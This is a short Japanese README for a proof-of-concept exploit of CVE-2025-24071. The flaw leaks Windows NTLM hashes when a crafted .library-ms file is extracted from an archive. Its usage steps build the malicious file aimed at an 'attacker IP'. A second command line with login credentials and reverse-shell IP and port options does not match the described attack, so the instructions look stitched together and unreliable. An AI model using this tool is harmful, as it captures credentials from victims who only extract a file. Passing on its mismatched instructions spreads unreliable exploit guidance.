CVE-2025-24071_PoC

CVE-2025-24071: RAR/ZIP 展開と .library-ms ファイルによる NTLM ハッシュ漏洩

Windows Explorer は、.rar アーカイブから .library-ms ファイルが展開されると自動的に SMB 認証リクエストを開始し、NTLM ハッシュを漏洩させます。ユーザーがファイルを開いたり実行したりする必要はなく、展開するだけで漏洩がトリガーされます。

使用方法

>>python poc.py

>>enter file name: your file name

>>enter IP: attacker IP

>>python3 poc.py --url http://domainname.com --user admin --password password --reverse-ip 10.10.10.10 --reverse-port 8888

更新:

更新: Microsoft は CVE 番号を変更しました。以前 Microsoft が定義していた CVE-2025-24071 は、CVE-2025-24054 に更新されました。🤷‍♂